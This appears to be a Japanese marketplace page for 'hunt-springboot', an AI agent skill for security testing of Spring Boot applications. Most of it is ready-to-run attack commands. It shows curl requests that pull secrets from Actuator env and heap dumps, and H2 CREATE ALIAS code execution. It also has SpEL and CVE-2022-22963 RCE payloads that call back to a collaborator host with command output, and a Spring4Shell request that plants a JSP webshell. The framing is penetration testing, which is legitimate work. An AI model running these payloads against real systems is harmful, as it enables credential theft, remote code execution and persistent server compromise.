mcpField
H
hunt-springboot

hunt-springboot

github.com/uphiagoセキュリティ1.3k42 回インストール8 週間前に更新
リポジトリ

hunt-springboot について

Spring Bootアプリを評価するセキュリティテスト用スキルです。Actuatorの露出や、H2 Console、SpEL、Spring4Shell、Jolokiaに関する問題を調査できます。

主な機能

  1. 01Spring Bootのフィンガープリント
  2. 02Actuatorエンドポイントの列挙
  3. 03ヒープダンプと環境情報の露出確認
  4. 04H2 ConsoleとSpELのテスト
  5. 05Spring4ShellとJolokiaの確認

活用シーン

  1. 01露出したActuatorエンドポイントの監査
  2. 02メモリーやプロパティからの秘密情報漏えい確認
  3. 03H2 Consoleと式インジェクションのリスク評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-springboot

インストール後、Claude Code で/hunt-springbootを入力して読み込まれたか確認します。

詳細

HUNT-SPRINGBOOT — Spring Boot 固有の脆弱性

最重要資産を狙う

Spring Boot Actuator の /actuator/heapdump が公開されていると、メモリ内のすべてのシークレットを含むヒープダンプを取得できます。

価値の高い調査結果:

  • /actuator/heapdump — JVM のヒープダンプ全体には、メモリ内のあらゆる場所に保存されている平文のパスワード、トークン、DB 認証情報、秘密鍵が含まれています
  • /actuator/env — シークレットを含むすべての環境変数と Spring プロパティを一覧表示します
  • /actuator/shutdown — POST → アプリケーションを停止します(可用性への重大な影響)
  • H2 Console(/h2-console) — インメモリ DB の管理 UI → SQL クエリの実行 → CREATE ALIAS の手法で RCE の可能性
  • SpEL インジェクション — テンプレートフィールド、@Value アノテーション、SpEL で処理されるリクエストパラメーター内の Spring Expression Language → RCE
  • Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → データバインディング経由の RCE

フェーズ 1 — Spring Boot のフィンガープリント

# Spring Boot indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"

# Actuator root (may list available endpoints)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null

# Try common base paths
for base in "" "/manage" "/management" "/app"; do
  STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
  [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done

フェーズ 2 — Actuator エンドポイントの列挙

BASE="https://$TARGET/actuator"

# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" 
           "loggers" "info" "health" "configprops" "shutdown" "trace"
           "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
           "flyway" "liquibase" "refresh" "restart")

for EP in "${ENDPOINTS[@]}"; do
  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
  # page for many paths. Require actuator-shaped JSON (or a heapdump body)
  # before calling it EXPOSED.
  BODY=$(curl --max-time 30 --connect-timeout 10 -s -H "Accept: application/json" "$BASE/$EP")
  CT=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
  if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
    echo "[+] EXPOSED: $BASE/$EP"
  fi
done

# Get environment variables (passwords, API keys)
curl --max-time 30 --connect-timeout 10 -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20

# Get all endpoint mappings (full API surface)
curl --max-time 30 --connect-timeout 10 -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -Eo '"pattern":"\K[^"]+' | sort

# Get Spring beans (lists all registered beans, reveals internal architecture)
curl --max-time 30 --connect-timeout 10 -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100

フェーズ 3 — ヒープダンプの解析

# Download heap dump (can be large — 100MB+)
curl --max-time 30 --connect-timeout 10 -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof

# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
  grep -v "^[a-z_]" | sort -u | head -50

# More targeted extraction
strings /tmp/heapdump.hprof | grep -Eo "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -Eo "AKIA[A-Z0-9]{16}" | sort -u        # AWS keys
strings /tmp/heapdump.hprof | grep -Eo "sk_live_[A-Za-z0-9]+" | sort -u     # Stripe keys
strings /tmp/heapdump.hprof | grep -Eo "Bearer [A-Za-z0-9._-]+" | sort -u   # Bearer tokens

# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/

フェーズ 4 — H2 Console の RCE

# H2 console detection
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2" | grep -i "H2 Console"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/console" | grep -i "H2"

# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb

# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
#   Runtime rt = Runtime.getRuntime();
#   String[] commands = {"sh","-c",cmd};
#   Process proc = rt.exec(commands);
#   return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');

フェーズ 5 — SpEL インジェクション

# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated

# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow

# Basic SpEL test
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed

# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'

# CVE-2022-22963 — Spring Cloud Function SpEL
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/functionRouter" \
  -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
  -d "test"

フェーズ 6 — Spring4Shell(CVE-2022-22965)

# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment

# Detection: does the app accept class.* parameters?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/user" \
  -d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback

# Exploitation: write webshell via class loader
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/login" \
  --data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

フェーズ 7 — Jolokia JMX の公開

# Jolokia provides HTTP access to JMX MBeans
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20

# List all MBeans
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30

# Read system properties via Jolokia (may expose credentials)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
  python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"

# Exec MBean operations (potential RCE via MLet)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"

攻撃チェーン表

Spring Boot の調査結果次の攻撃影響
/actuator/heapdumpメモリから DB パスワード、API キーを抽出認証情報の重大な窃取
/actuator/envシークレットを含むすべての環境変数を読み取る高
H2 Console にアクセス可能CREATE ALIAS → RCE重大
SpEL インジェクションT(Runtime).exec() → OS コマンド重大な RCE
Spring4ShellWeb シェルを書き込む → RCE重大
Jolokia + MLetMBean 経由のリモートコード実行重大な RCE

検証

✅ ヒープダンプ:strings コマンドで .hprof ファイルから読み取り可能なパスワード/トークンを抽出できる ✅ Actuator/env:JSON レスポンスにシークレットが表示される ✅ SpEL:算術式が評価される(7*7=49)、または OOB コールバックを受信する ✅ H2 Console:SQL が実行され、id の出力が返される

深刻度:

  • 認証情報を含むヒープダンプ:重大
  • SpEL RCE:重大
  • H2 Console RCE:重大
  • Actuator env(パスワードの露出):高
  • Mappings の情報開示のみ:低〜中

検証

次のセルフテストを実行して、springboot の調査準備が整っていることを確認します。

  1. スキルの整合性 — スキルファイルが読み取り可能で、正しく構成されていることを確認します。

    grep -q "name: hunt-springboot" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. カテゴリの確認 — スキルにカテゴリが設定されていることを確認します。

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 落とし穴のセクション — 落とし穴が記載されていることを確認します。

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

3 つのテストすべてで、スキルが適切に構成され、使用準備が整っていることを確認します。


落とし穴

  • 機密情報を含まない Actuator エンドポイント — /actuator/health や /actuator/info は意図的に公開されています。必要なのは /actuator/env、/actuator/heapdump、または /actuator/mappings です。
  • 値がサニタイズされた /actuator/env — Spring Boot 2.x 以降では、デフォルトで環境変数の値がサニタイズされます。サニタイズされていないシークレットが必要です。
  • /actuator/heapdump のダウンロード — ヒープダンプの解析には Eclipse MAT などが必要です。調査結果となるのはダンプにアクセスできることであり、その内容ではありません(実際に抽出したシークレットで証明してください)。
  • /actuator/loggers の変更 — ログレベルを DEBUG に変更すると、機密情報が漏洩する可能性があります。漏洩したデータを実証してください。
  • CVE のない Spring Boot バージョン — バージョンの開示は情報提供にとどまり、その特定のバージョンに影響する CVE と組み合わせない限り、脆弱性とはいえません。

コメント